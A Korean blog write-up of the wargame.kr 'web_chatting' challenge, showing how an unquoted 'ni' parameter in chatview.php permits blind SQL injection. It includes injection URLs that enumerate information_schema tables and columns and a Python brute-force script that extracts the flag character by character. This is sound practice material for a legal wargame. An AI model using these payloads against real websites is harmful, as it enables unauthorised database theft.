webhacking/sql, sql injection

wargame.kr web_chatting

qkqhxla1 2014. 10. 6. 11:26

풀고 싶었는데 서버가 너무 자주 죽어서 관리자님께 하소연했더니 호흡기 붙여주심.(관리자님 감사해요)


이전에도 말했듯이 기술을 중요시하는 webhacking.kr보다는 조금 더 현실적인(?) 워게임이라 취약점


찾는데 몇일 걸렸습니다. 그런데 찾고보니 일반적인거네요... 소스 사이에 잘 숨겨두심.


var xmlhttp,ni,iq=0,brtype=1;

 function getchatlog(type){

  xmlhttp = new XMLHttpRequest();

  if(type==1){xmlhttp.onreadystatechange=getni;xmlhttp.open("GET","chatlog.php?t=1");

  }else if(type==2){xmlhttp.onreadystatechange=chatprint;xmlhttp.open("GET","chatview.php?t=1&ni="+ni);} //여기 ni부분이 홑따옴표로 둘러쌓지 않아서 취약점이 발생. 일반적으로 개발자들이 숫자라고 가정하기 때문에 그냥 이런식으로 구현해놓는데 여기서 취약점이 발생합니다. sqli가 가능하기 때문이죠.

  xmlhttp.send(null);

 }


chatview.php?t=1&ni=2 이런식으로 들어가보면 채팅 목록이 쫙 있고 ni의 변화에 따라서 맞는 채팅의


인덱스값?을 보여줌. ni=10이면 10번째 채팅을 보여줌. ni=-1 or ni=2 이런식으로 ni를 두개 넣으면 


에러가 발생하는지 아무것도 안뜨고 ni=1 and 1# 이런식으로 적으면 true and true? 여서인지 ni=1일때


값이 뜨지만 ni=1 and 0# 이런식으로 적어보면 true and false가 되서인지 아무것도 안뜸.


1 대신 블라인드 sql인젝션으로 한글자씩 뽑아와서 맞으면 1이 반환되게끔 쿼리를 만들어봄.





http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=1%20and%20(select%20ascii(substr(group_concat(table_name),1,1))=32~128사이의 숫자%20from%20information_schema.tables%20where%20table_schema=database())%23


되는지 확인하기 위해 32~128까지 한번 돌려본결과 99일때 페이지가 나오는걸 확인할수 있었음.


http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=1%20and%20(select%20ascii(substr(group_concat(table_name),1,1))=99%20from%20information_schema.tables%20where%20table_schema=database())%23


취약점이 먹히는거니 길이도 구해야겠지만 귀찮아서 대충 20정도로 잡고 반복문 돌림..


20개 돌렸는데 20개보다 더 긴것같아서 30까지 추가로 돌렸더니 


import urllib2

answer = ''
for i in range(1,25):
    for j in range(32,128):
        print i,j,answer
        req = urllib2.Request('http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=1'+\
                              '%20and%20(select%20ascii(substr(group_concat(table_name),'+str(i)+\
                              ',1))='+str(j)+'%20from%20information_schema.tables%20where%20table_schema=database())%23')
        req.add_header('cookie','ci_session=쿠키')
        read = urllib2.urlopen(req).read()
        if read.find('<span title=') != -1:
            print chr(j)
            answer += chr(j)
            break
print answer


이리 출력.





똑같이 컬럼 네임으로만 바꿔서 돌려보면


http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=1%20and%20(select%20ascii(substr(group_concat(column_name),1,1))=32~128사이의 숫자%20from%20information_schema.columns%20where%20table_name=0x636861745f6c6f675f736563726574)%23



readme가 나오고 readme에 대해서 구해보면 됨.



http://wargame.kr:8080/web_chatting/chatview.php?t=1&ni=1%20and%20(select%20ascii(substr(group_concat(readme),1,1))=32~128%20from%20chat_log_secret)%23


42글자인가 엄청 긴 flag가 출력됩니다.


-------------------------------------------------------------

추가.


블라인드 인젝션으로 쌩고생했는데 adm1nkyj님이 쉬운 union을 사용한 풀이법 제시.....


http://blog.naver.com/adm1nkyj/220053240576

'webhacking > sql, sql injection' 카테고리의 다른 글

wargame.kr q&a  (0) 2014.10.06
wargame.kr ip_log_table  (0) 2014.10.06
wargame.kr tmitter  (0) 2014.10.04
webhacking.kr 18번.  (0) 2014.10.03
wargame.kr DB is really GOOD  (0) 2014.10.01